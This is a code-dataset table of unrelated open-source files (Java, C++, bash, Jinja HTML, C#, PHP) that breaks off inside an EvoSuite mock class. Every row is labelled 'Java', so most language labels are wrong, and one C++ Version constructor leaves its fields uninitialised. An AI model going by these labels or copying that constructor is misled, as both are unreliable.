code stringlengths 4 1.01M | language stringclasses 2 values |
|---|---|
/*
* Mentawai Web Framework http://mentawai.lohis.com.br/
* Copyright (C) 2005 Sergio Oliveira Jr. (sergio.oliveira.jr@gmail.com)
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
package org.mentawai.filter;
import org.mentawai.core.Filter;
import org.mentawai.core.InvocationChain;
public class GlobalFilterFreeMarkerFilter implements Filter {
private final String[] innerActions;
public GlobalFilterFreeMarkerFilter() {
this.innerActions = null;
}
public GlobalFilterFreeMarkerFilter(String ... innerActions) {
this.innerActions = innerActions;
}
public boolean isGlobalFilterFree(String innerAction) {
if (innerActions == null) return true;
if (innerAction == null) return false; // inner actions are specified...
for(String s : innerActions) {
if (s.equals(innerAction)) return true;
}
return false;
}
public String filter(InvocationChain chain) throws Exception {
return chain.invoke();
}
public void destroy() {
}
} | Java |
/*
*
*/
// Local
#include <vcgNodes/vcgMeshStats/vcgMeshStatsNode.h>
#include <vcgNodes/vcgNodeTypeIds.h>
// Utils
#include <utilities/debugUtils.h>
// Function Sets
#include <maya/MFnMeshData.h>
#include <maya/MFnTypedAttribute.h>
#include <maya/MFnEnumAttribute.h>
#include <maya/MFnNumericAttribute.h>
#include <maya/MFnMatrixAttribute.h>
#include <maya/MFnMatrixData.h>
// General Includes
#include <maya/MGlobal.h>
#include <maya/MPlug.h>
#include <maya/MDataBlock.h>
#include <maya/MDataHandle.h>
#include <maya/MIOStream.h>
// Macros
#define MCheckStatus(status, message) \
if( MStatus::kSuccess != status ) { \
cerr << message << "\n"; \
return status; \
}
// Unique Node TypeId
// See 'vcgNodeTypeIds.h', add a definition.
MTypeId vcgMeshStatsNode::id(VCG_MESH_STATS_NODE_ID); // Use a unique ID.
// Node attributes
MObject vcgMeshStatsNode::inMesh;
MObject vcgMeshStatsNode::outMesh;
MObject vcgMeshStatsNode::aEnable;
MObject vcgMeshStatsNode::aOutCentreOfMass;
MObject vcgMeshStatsNode::aOutMass;
vcgMeshStatsNode::vcgMeshStatsNode()
{}
vcgMeshStatsNode::~vcgMeshStatsNode()
{}
MStatus vcgMeshStatsNode::compute(const MPlug &plug, MDataBlock &data)
//
// Description:
// This method computes the value of the given output plug based
// on the values of the input attributes.
//
// Arguments:
// plug - the plug to compute
// data - object that provides access to the attributes for this node
//
{
MStatus status = MS::kSuccess;
MDataHandle stateData = data.outputValue(state, &status);
MCheckStatus(status, "ERROR getting state");
INFO("vcgMeshStats plug: " << plug.name());
// Check for the HasNoEffect/PassThrough flag on the node.
//
// (stateData is an enumeration standard in all depend nodes)
//
// (0 = Normal)
// (1 = HasNoEffect/PassThrough)
// (2 = Blocking)
// ...
//
if (stateData.asShort() == 1)
{
MDataHandle inputData = data.inputValue(inMesh, &status);
MCheckStatus(status, "ERROR getting inMesh");
MDataHandle outputData = data.outputValue(outMesh, &status);
MCheckStatus(status, "ERROR getting outMesh");
// Simply redirect the inMesh to the outMesh for the PassThrough effect
outputData.set(inputData.asMesh());
}
else
{
// Check which output attribute we have been asked to
// compute. If this node doesn't know how to compute it,
// we must return MS::kUnknownParameter
if (plug == outMesh || plug == aOutCentreOfMass || plug == aOutMass)
{
MDataHandle inputData = data.inputValue(inMesh, &status);
MCheckStatus(status, "ERROR getting inMesh");
MDataHandle outputData = data.outputValue(outMesh, &status);
MCheckStatus(status, "ERROR getting outMesh");
// Copy the inMesh to the outMesh, so you can
// perform operations directly on outMesh
outputData.set(inputData.asMesh());
// Return if the node is not enabled.
MDataHandle enableData = data.inputValue(aEnable, &status);
MCheckStatus(status, "ERROR getting aEnable");
if (!enableData.asBool())
{
return MS::kSuccess;
}
// Get Mesh object
MObject mesh = outputData.asMesh();
// Set the mesh object and component List on the factory
fFactory.setMesh(mesh);
// Now, perform the vcgMeshStats
status = fFactory.doIt();
// Centre Of Mass Output
MVector centreOfMass(fFactory.getCentreOfMass());
INFO("compute centre of mass X:" << centreOfMass[0]);
INFO("compute centre of mass Y:" << centreOfMass[1]);
INFO("compute centre of mass Z:" << centreOfMass[2]);
MDataHandle centreOfMassData = data.outputValue(aOutCentreOfMass, &status);
MCheckStatus(status, "ERROR getting aOutCentreOfMass");
centreOfMassData.setMVector(centreOfMass);
// Mass Output
float mass = fFactory.getMass();
INFO("compute mass:" << mass);
MDataHandle massData = data.outputValue(aOutMass, &status);
MCheckStatus(status, "ERROR getting aOutMass");
massData.setFloat(mass);
// Mark the output mesh as clean
outputData.setClean();
centreOfMassData.setClean();
massData.setClean();
}
// else if
// {
// MDataHandle inputData = data.inputValue(inMesh, &status);
// MCheckStatus(status, "ERROR getting inMesh");
//
// // Return if the node is not enabled.
// MDataHandle enableData = data.inputValue(aEnable, &status);
// MCheckStatus(status, "ERROR getting aEnable");
// if (!enableData.asBool())
// {
// return MS::kSuccess;
// }
//
// // Get Mesh object
// MObject mesh = inputData.asMesh();
//
// // Set the mesh object and component List on the factory
// fFactory.setMesh(mesh);
//
// // Now, perform the vcgMeshStats
// status = fFactory.doIt();
//
// // Centre Of Mass Output
// MVector centreOfMass(fFactory.getCentreOfMass());
// MDataHandle centreOfMassData = data.outputValue(aOutCentreOfMass, &status);
// MCheckStatus(status, "ERROR getting aOutCentreOfMass");
// centreOfMassData.setMVector(centreOfMass);
//
// // Mass Output
// float mass = fFactory.getMass();
// MDataHandle massData = data.outputValue(aOutMass, &status);
// MCheckStatus(status, "ERROR getting aOutMass");
// massData.setFloat(mass);
//
// // Mark the output mesh as clean
//
// }
else
{
status = MS::kUnknownParameter;
}
}
return status;
}
void *vcgMeshStatsNode::creator()
//
// Description:
// this method exists to give Maya a way to create new objects
// of this type.
//
// Return Value:
// a new object of this type
//
{
return new vcgMeshStatsNode();
}
MStatus vcgMeshStatsNode::initialize()
//
// Description:
// This method is called to create and initialize all of the attributes
// and attribute dependencies for this node type. This is only called
// once when the node type is registered with Maya.
//
// Return Values:
// MS::kSuccess
// MS::kFailure
//
{
MStatus status;
MFnTypedAttribute attrFn;
MFnNumericAttribute numFn;
aEnable = numFn.create("enable", "enable",
MFnNumericData::kBoolean, true, &status);
CHECK_MSTATUS(status);
status = numFn.setDefault(true);
status = numFn.setStorable(true);
status = numFn.setKeyable(true);
status = numFn.setChannelBox(true);
status = numFn.setHidden(false);
status = addAttribute(aEnable);
CHECK_MSTATUS(status);
// Centre of Mass
aOutCentreOfMass = numFn.createPoint("outCentreOfMass", "outCentreOfMass",
&status);
// MFnNumericData::k3Float, 0.0, &status);
CHECK_MSTATUS(status);
// numFn.setDefault(0.0f, 0.0f, 0.0f);
// numFn.setKeyable(false);
numFn.setStorable(false);
numFn.setWritable(false);
status = addAttribute(aOutCentreOfMass);
CHECK_MSTATUS(status);
// Mass
aOutMass = numFn.create("outMass", "outMass",
MFnNumericData::kFloat, 0.0,
&status);
CHECK_MSTATUS(status);
numFn.setDefault(0.0f);
numFn.setKeyable(false);
numFn.setStorable(false);
numFn.setWritable(false);
status = addAttribute(aOutMass);
CHECK_MSTATUS(status);
// Input Mesh
inMesh = attrFn.create("inMesh", "im", MFnMeshData::kMesh);
attrFn.setStorable(true); // To be stored during file-save
status = addAttribute(inMesh);
CHECK_MSTATUS(status);
// Output Mesh
// Attribute is read-only because it is an output attribute
outMesh = attrFn.create("outMesh", "om", MFnMeshData::kMesh);
attrFn.setStorable(false);
attrFn.setWritable(false);
status = addAttribute(outMesh);
CHECK_MSTATUS(status);
// Attribute affects
status = attributeAffects(inMesh, outMesh);
status = attributeAffects(aEnable, outMesh);
status = attributeAffects(inMesh, aOutCentreOfMass);
status = attributeAffects(aEnable, aOutCentreOfMass);
status = attributeAffects(inMesh, aOutMass);
status = attributeAffects(aEnable, aOutMass);
CHECK_MSTATUS(status);
return MS::kSuccess;
}
| Java |
#!/bin/bash
##
## Copyright (c) 2019 alpha group, CS department, University of Torino.
##
## This file is part of pico
## (see https://github.com/alpha-unito/pico).
##
## This program is free software: you can redistribute it and/or modify
## it under the terms of the GNU Lesser General Public License as published by
## the Free Software Foundation, either version 3 of the License, or
## (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU Lesser General Public License for more details.
##
## You should have received a copy of the GNU Lesser General Public License
## along with this program. If not, see <http://www.gnu.org/licenses/>.
##
B=512
N=20
for j in 42 #1 2 4 8 16 32 48
do
fname=times_wordcount_w$j"_"b$B
echo "[-w $j -b $B]"
rm -rf $fname
for i in `seq 1 $N`
do
echo $i / $N
./pico_wc -w $j -b $B testdata/words1m foo.txt 2> /dev/null | awk '{for (i=0; i<=NF; i++){if ($i == "in"){print $(i+1);exit}}}' >> $fname
done
done
| Java |
{% extends base_layout %}
{% block title %}
{% trans %}Add Aid{% endtrans %} - {{ app_name }}
{% endblock %}
{% block header_title %}
{% trans %}Add Aid{% endtrans %}
{% endblock %}
{% block mediaCSS %}
<link rel="stylesheet" href="/{{ theme }}/css/jquery.dataTables.css">
{% endblock %}
{% block content %}
{% set show_fields = ['name', 'qty', 'cost', 'supplier', 'tags'] %}
<div class="container">
<div class="row">
<div class="span12">
<h3>View Aids</h3>
</div>
</div>
<div class="row">
<div class="span12">
<div class="aid_customer_details">
<form class="form-inline" action="">
<div class="span2">
<label for="client_age">Client Age</label><input type="number" name="age" class="input-mini"
id="client_age"/>
</div>
<div class="span2">
<label>
Male
<input type="radio" name="sex" value="male">
</label>
<label>
Female
<input type="radio" name="sex" value="female">
</label>
</div>
<div class="span3">
<label for="client_life_expectancy">Life Expectancy</label><input type="number" name="life-expectancy"
class="input-mini"
id="client_life_expectancy"/>
</div>
<div class="span3">
<p id="life_left"></p>
</div>
</form>
</div>
</div>
</div>
<div class="row top-buffer">
<div class="span6">
<div class="aid_table_select">
<table id="aid_table">
<thead>
<tr>
<th><input type="checkbox" class="checkbox" name="check-all" id="check-all"/></th>
{% for fld in show_fields %}
<th>{{ fld }}</th>
{% endfor %}
</tr>
</thead>
<tbody>
{% for row in table_data %}
<tr>
<td><input type="checkbox" class="checkbox" name="cb1" id="{{ row.key.id() }}"/></td>
<td><a href="/add_aid/?aid_id={{ row.key.urlsafe() }}" target="_blank">{{ row.name }}</a></td>
<td><input type="number" value="1" class="input-mini qty" id="{{ row.key.id() }}-qty"></td>
<td>{{ "$%.2f"|format(row.cost) }}</td>
<td>{{ row.supplier.get().name }}</td>
<td>
{% for tag in row.tags %}
{{ tag }}<br/>
{% endfor %}
</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
<div class="span6">
<div class="copy-table">
<table id="ctable">
<thead>
<tr>
<th>Image</th>
<th>Name</th>
<th>Supplier</th>
<th>Initial Cost<br/>per Item</th>
<th>Maintenance<br/>per year</th>
<th>Replacement<br/>Frequency</th>
<th>Quantity</th>
<th>Cost per year</th>
<th>Lifetime Cost</th>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<tr>
<td colspan="7" class="grand_total_title">Total</td>
<td class="cost_per_year_price" id="cost_per_year_price"></td>
<td class="grand_total_price" id="grand_total_price"></td>
</tr>
</tfoot>
</table>
</div>
</div>
</div>
</div>
</div>
{% endblock %}
{% block mediaJS %}
<script src="/{{ theme }}/js/jquery.js"></script>
<script src="/{{ theme }}/js/jquery.dataTables.min.js"></script>
<script src="/{{ theme }}/js/view_aids_utilities.js"></script>
{% endblock %} | Java |
#region Copyrights
//
// RODI - http://rodi.aisdev.net
// Copyright (c) 2012-2016
// by SAS AIS : http://www.aisdev.net
// supervised by : Jean-Paul GONTIER (Rotary Club Sophia Antipolis - District 1730)
//
//GNU LESSER GENERAL PUBLIC LICENSE
//Version 3, 29 June 2007 Copyright (C) 2007
//Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
//This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below.
//0. Additional Definitions.
//As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License.
//"The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below.
//An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library.Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library.
//A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version".
//The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version.
//The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work.
//1. Exception to Section 3 of the GNU GPL.
//You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL.
//2. Conveying Modified Versions.
//If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version:
//a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or
//b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy.
//3. Object Code Incorporating Material from Library Header Files.
//The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates(ten or fewer lines in length), you do both of the following:
//a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License.
//b) Accompany the object code with a copy of the GNU GPL and this license document.
//4. Combined Works.
//You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following:
//a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License.
//b) Accompany the Combined Work with a copy of the GNU GPL and this license document.
//c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document.
//d) Do one of the following:
//0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.
//1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version.
//e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.)
//5. Combined Libraries.
//You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following:
//a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License.
//b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work.
//6. Revised Versions of the GNU Lesser General Public License.
//The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
//Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation.
//If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library.
#endregion Copyrights
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace AIS
{
[Serializable]
public class General_Attendance
{
public int id {get; set;}
public String name {get; set;}
public int nbm {get; set;}
public String purcent {get; set;}
public String purcentPastYear { get; set; }
public String varEff { get; set; }
public int month { get; set; }
public int year { get; set; }
public String varAtt { get; set; }
}
}
| Java |
package org.osmdroid.bonuspack.utils;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.StatusLine;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import org.apache.http.util.EntityUtils;
import android.util.Log;
/**
* A "very very simple to use" class for performing http get and post requests.
* So many ways to do that, and potential subtle issues.
* If complexity should be added to handle even more issues, complexity should be put here and only here.
*
* Typical usage:
* <pre>HttpConnection connection = new HttpConnection();
* connection.doGet("http://www.google.com");
* InputStream stream = connection.getStream();
* if (stream != null) {
* //use this stream, for buffer reading, or XML SAX parsing, or whatever...
* }
* connection.close();</pre>
*/
public class HttpConnection {
private DefaultHttpClient client;
private InputStream stream;
private HttpEntity entity;
private String mUserAgent;
private final static int TIMEOUT_CONNECTION=3000; //ms
private final static int TIMEOUT_SOCKET=8000; //ms
public HttpConnection(){
stream = null;
entity = null;
HttpParams httpParameters = new BasicHttpParams();
/* useful?
HttpProtocolParams.setContentCharset(httpParameters, "UTF-8");
HttpProtocolParams.setHttpElementCharset(httpParameters, "UTF-8");
*/
// Set the timeout in milliseconds until a connection is established.
HttpConnectionParams.setConnectionTimeout(httpParameters, TIMEOUT_CONNECTION);
// Set the default socket timeout (SO_TIMEOUT)
// in milliseconds which is the timeout for waiting for data.
HttpConnectionParams.setSoTimeout(httpParameters, TIMEOUT_SOCKET);
client = new DefaultHttpClient(httpParameters);
//TODO: created here. Reuse to do for better perfs???...
}
public void setUserAgent(String userAgent){
mUserAgent = userAgent;
}
/**
* @param sUrl url to get
*/
public void doGet(String sUrl){
try {
HttpGet request = new HttpGet(sUrl);
if (mUserAgent != null)
request.setHeader("User-Agent", mUserAgent);
HttpResponse response = client.execute(request);
StatusLine status = response.getStatusLine();
if (status.getStatusCode() != 200) {
Log.e(BonusPackHelper.LOG_TAG, "Invalid response from server: " + status.toString());
} else {
entity = response.getEntity();
}
} catch (Exception e){
e.printStackTrace();
}
}
public void doPost(String sUrl, List<NameValuePair> nameValuePairs) {
try {
HttpPost request = new HttpPost(sUrl);
if (mUserAgent != null)
request.setHeader("User-Agent", mUserAgent);
request.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = client.execute(request);
StatusLine status = response.getStatusLine();
if (status.getStatusCode() != 200) {
Log.e(BonusPackHelper.LOG_TAG, "Invalid response from server: " + status.toString());
} else {
entity = response.getEntity();
}
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* @return the opened InputStream, or null if creation failed for any reason.
*/
public InputStream getStream() {
try {
if (entity != null)
stream = entity.getContent();
} catch (IOException e) {
e.printStackTrace();
}
return stream;
}
/**
* @return the whole content as a String, or null if creation failed for any reason.
*/
public String getContentAsString(){
try {
if (entity != null) {
return EntityUtils.toString(entity, "UTF-8");
//setting the charset is important if none found in the entity.
} else
return null;
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
/**
* Calling close once is mandatory.
*/
public void close(){
if (stream != null){
try {
stream.close();
stream = null;
} catch (IOException e) {
e.printStackTrace();
}
}
if (entity != null){
try {
entity.consumeContent();
//"finish". Important if we want to reuse the client object one day...
entity = null;
} catch (IOException e) {
e.printStackTrace();
}
}
if (client != null){
client.getConnectionManager().shutdown();
client = null;
}
}
}
| Java |
<?php
return array(
// Example server configuration. You may have more arrays like this one to
// specify multiple server groups (however they should share the same login
// server whilst they are allowed to have multiple char/map pairs).
array(
'ServerName' => 'FluxRO',
// Global database configuration (excludes logs database configuration).
'DbConfig' => array(
//'Socket' => '/tmp/mysql.sock',
//'Port' => 3306,
//'Encoding' => 'utf8', // Connection encoding -- use whatever here your MySQL tables collation is.
'Convert' => 'utf8',
// -- 'Convert' option only works when 'Encoding' option is specified and iconv (http://php.net/iconv) is available.
// -- It specifies the encoding to convert your MySQL data to on the website (most likely needs to be utf8)
'Hostname' => '127.0.0.1',
'Username' => 'ragnarok',
'Password' => 'ragnarok',
'Database' => 'ragnarok',
'Persistent' => true,
'Timezone' => '-3:00', //null // Example: '+0:00' is UTC.
// The possible values of 'Timezone' is as documented from the MySQL website:
// "The value can be given as a string indicating an offset from UTC, such as '+10:00' or '-6:00'."
// "The value can be given as a named time zone, such as 'Europe/Helsinki', 'US/Eastern', or 'MET'." (see below continuation!)
// **"Named time zones can be used only if the time zone information tables in the mysql database have been created and populated."
),
// This is kept separate because many people choose to have their logs
// database accessible under different credentials, and often on a
// different server entirely to ensure the reliability of the log data.
'LogsDbConfig' => array(
//'Socket' => '/tmp/mysql.sock',
//'Port' => 3306,
//'Encoding' => null, // Connection encoding -- use whatever here your MySQL tables collation is.
'Convert' => 'utf8',
// -- 'Convert' option only works when 'Encoding' option is specified and iconv (http://php.net/iconv) is available.
// -- It specifies the encoding to convert your MySQL data to on the website (most likely needs to be utf8)
'Hostname' => '127.0.0.1',
'Username' => 'ragnarok',
'Password' => 'ragnarok',
'Database' => 'ragnarok',
'Persistent' => true,
'Timezone' => null // Possible values is as described in the comment in DbConfig.
),
// Login server configuration.
'LoginServer' => array(
'Address' => '127.0.0.1',
'Port' => 6900,
'UseMD5' => true,
'NoCase' => true, // rA account case-sensitivity; Default: Case-INsensitive (true).
'GroupID' => 0, // Default account group ID during registration.
//'Database' => 'ragnarok'
),
'CharMapServers' => array(
array(
'ServerName' => 'FluxRO',
'Renewal' => true,
'MaxCharSlots' => 9,
'DateTimezone' => 'America/Sao_Paulo', //null, // Specifies game server's timezone for this char/map pair. (See: http://php.net/timezones)
'ResetDenyMaps' => 'prontera', // Defaults to 'sec_pri'. This value can be an array of map names.
//'Database' => 'ragnarok', // Defaults to DbConfig.Database
'ExpRates' => array(
'Base' => 100, // Rate at which (base) exp is given
'Job' => 100, // Rate at which job exp is given
'Mvp' => 100 // MVP bonus exp rate
),
'DropRates' => array(
// The rate the common items (in the ETC tab, besides card) are dropped
'Common' => 100,
'CommonBoss' => 100,
// The rate healing items (that restore HP or SP) are dropped
'Heal' => 100,
'HealBoss' => 100,
// The rate usable items (in the item tab other then healing items) are dropped
'Useable' => 100,
'UseableBoss' => 100,
// The rate at which equipment is dropped
'Equip' => 100,
'EquipBoss' => 100,
// The rate at which cards are dropped
'Card' => 100,
'CardBoss' => 100,
// The rate adjustment for the MVP items that the MVP gets directly in their inventory
'MvpItem' => 100
),
'CharServer' => array(
'Address' => '127.0.0.1',
'Port' => 6121
),
'MapServer' => array(
'Address' => '127.0.0.1',
'Port' => 5121
),
// -- WoE days and times --
// First parameter: Starding day 0=Sunday / 1=Monday / 2=Tuesday / 3=Wednesday / 4=Thursday / 5=Friday / 6=Saturday
// Second parameter: Starting hour in 24-hr format.
// Third paramter: Ending day (possible value is same as starting day).
// Fourth (final) parameter: Ending hour in 24-hr format.
// ** (Note, invalid times are ignored silently.)
'WoeDayTimes' => array(
//array(0, '12:00', 0, '14:00'), // Example: Starts Sunday 12:00 PM and ends Sunday 2:00 PM
//array(3, '14:00', 3, '15:00') // Example: Starts Wednesday 2:00 PM and ends Wednesday 3:00 PM
),
// Modules and/or actions to disallow access to during WoE.
'WoeDisallow' => array(
array('module' => 'character', 'action' => 'online'), // Disallow access to "Who's Online" page during WoE.
array('module' => 'character', 'action' => 'mapstats') // Disallow access to "Map Statistics" page during WoE.
)
)
)
)
);
?>
| Java |
/*
* Copyright (c) 2014-2015 Daniel Hrabovcak
*
* This file is part of Natural IDE.
*
* This program is free software: you can redistribute it and/or modify it under
* the terms of the GNU Lesser General Public License as published by the Free
* Software Foundation, either version 3 of the License, or (at your option) any
* later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
* details.
**/
#include "Version.hpp"
#include <cstdio>
#include <cinttypes>
#ifdef __MINGW32__
#ifndef SCNu8
#define SCNu8 "hhu"
#endif
#endif
namespace natural
{
Version::Version()
: major_(0)
, minor_(0)
, patch_(0)
{}
Version::Version(uint8_t major, uint8_t minor, uint8_t patch)
: major_(major)
, minor_(minor)
, patch_(patch)
{}
Version::Version(const char *str)
{
uint8_t major, minor;
uint16_t patch;
if (sscanf(str, "%" SCNu8 ".%" SCNu8 ".%" SCNu16,
&major, &minor, &patch) != 3)
{
Version();
return;
}
Version(major, minor, patch);
}
bool Version::compatible(const Version &other)
{
return (major_ == other.major_ && (minor_ < other.minor_ ||
(minor_ == other.minor_ && patch_ <= other.patch_)));
}
bool Version::forward_compatible(const Version &other)
{
return (major_ > other.major_ || compatible(other));
}
Version Version::version()
{
// Must be in the `.cpp` file, so it is compiled into the shared library.
return Version(NATURAL_VERSION_MAJOR, NATURAL_VERSION_MINOR,
NATURAL_VERSION_PATCH);
}
}
| Java |
/*
* Copyright (C) 2015 the authors
*
* This file is part of usb_warrior.
*
* usb_warrior is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* usb_warrior is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with usb_warrior. If not, see <http://www.gnu.org/licenses/>.
*/
#include "game.h"
#include "image_manager.h"
#include "loader.h"
Loader::Loader(Game* game) : _game(game) {
}
void Loader::addImage(const std::string& filename) {
_imageMap.emplace(filename, nullptr);
}
void Loader::addSound(const std::string& filename) {
_soundMap.emplace(filename, nullptr);
}
void Loader::addMusic(const std::string& filename) {
_musicMap.emplace(filename, nullptr);
}
void Loader::addFont(const std::string& filename) {
_fontMap.emplace(filename, nullptr);
}
const Image* Loader::getImage(const std::string& filename) {
return _imageMap.at(filename);
}
const Sound* Loader::getSound(const std::string& filename) {
return _soundMap.at(filename);
}
const Music* Loader::getMusic(const std::string& filename) {
return _musicMap.at(filename);
}
Font Loader::getFont(const std::string& filename) {
return Font(_fontMap.at(filename));
}
unsigned Loader::loadAll() {
unsigned err = 0;
for(auto& file: _imageMap) {
file.second = _game->images()->loadImage(file.first);
if(!file.second) { err++; }
}
for(auto& file: _soundMap) {
file.second = _game->sounds()->loadSound(file.first);
if(!file.second) { err++; }
}
for(auto& file: _musicMap) {
file.second = _game->sounds()->loadMusic(file.first);
if(!file.second) { err++; }
}
for(auto& file: _fontMap) {
file.second = _game->fonts()->loadFont(file.first);
if(!file.second) { err++; }
}
return err;
}
void Loader::releaseAll() {
for(auto& file: _imageMap) {
if(file.second) {
_game->images()->releaseImage(file.second);
file.second = nullptr;
}
}
for(auto& file: _soundMap) {
if(file.second) {
_game->sounds()->releaseSound(file.second);
file.second = nullptr;
}
}
for(auto& file: _musicMap) {
if(file.second) {
_game->sounds()->releaseMusic(file.second);
file.second = nullptr;
}
}
for(auto& file: _fontMap) {
if(file.second) {
_game->fonts()->releaseFont(file.second);
file.second = nullptr;
}
}
}
| Java |
/**
* Copyright (C) 2010-2015 Gordon Fraser, Andrea Arcuri and EvoSuite
* contributors
*
* This file is part of EvoSuite.
*
* EvoSuite is free software: you can redistribute it and/or modify it
* under the terms of the GNU Lesser Public License as published by the
* Free Software Foundation, either version 3.0 of the License, or (at your
* option) any later version.
*
* EvoSuite is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser Public License for more details.
*
* You should have received a copy of the GNU Lesser Public License along
* with EvoSuite. If not, see <http://www.gnu.org/licenses/>.
*/
package org.evosuite.runtime.mock.java.io;
import java.io.File;
import java.io.FileFilter;
import java.io.FilenameFilter;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.evosuite.runtime.RuntimeSettings;
import org.evosuite.runtime.mock.MockFramework;
import org.evosuite.runtime.mock.OverrideMock;
import org.evosuite.runtime.mock.java.lang.MockIllegalArgumentException;
import org.evosuite.runtime.mock.java.net.MockURL;
import org.evosuite.runtime.vfs.FSObject;
import org.evosuite.runtime.vfs.VFile;
import org.evosuite.runtime.vfs.VFolder;
import org.evosuite.runtime.vfs.VirtualFileSystem;
/**
* This class is used in the mocking framework to replace File instances.
*
* <p>
* All files are created in memory, and no access to disk is ever done
*
* @author arcuri
*
*/
public class MockFile extends File implements OverrideMock {
private static final long serialVersionUID = -8217763202925800733L;
/*
* Constructors, with same inputs as in File. Note: it is not possible to inherit JavaDocs for constructors.
*/
public MockFile(String pathname) {
super(pathname);
}
public MockFile(String parent, String child) {
super(parent,child);
}
public MockFile(File parent, String child) {
this(parent.getPath(),child);
}
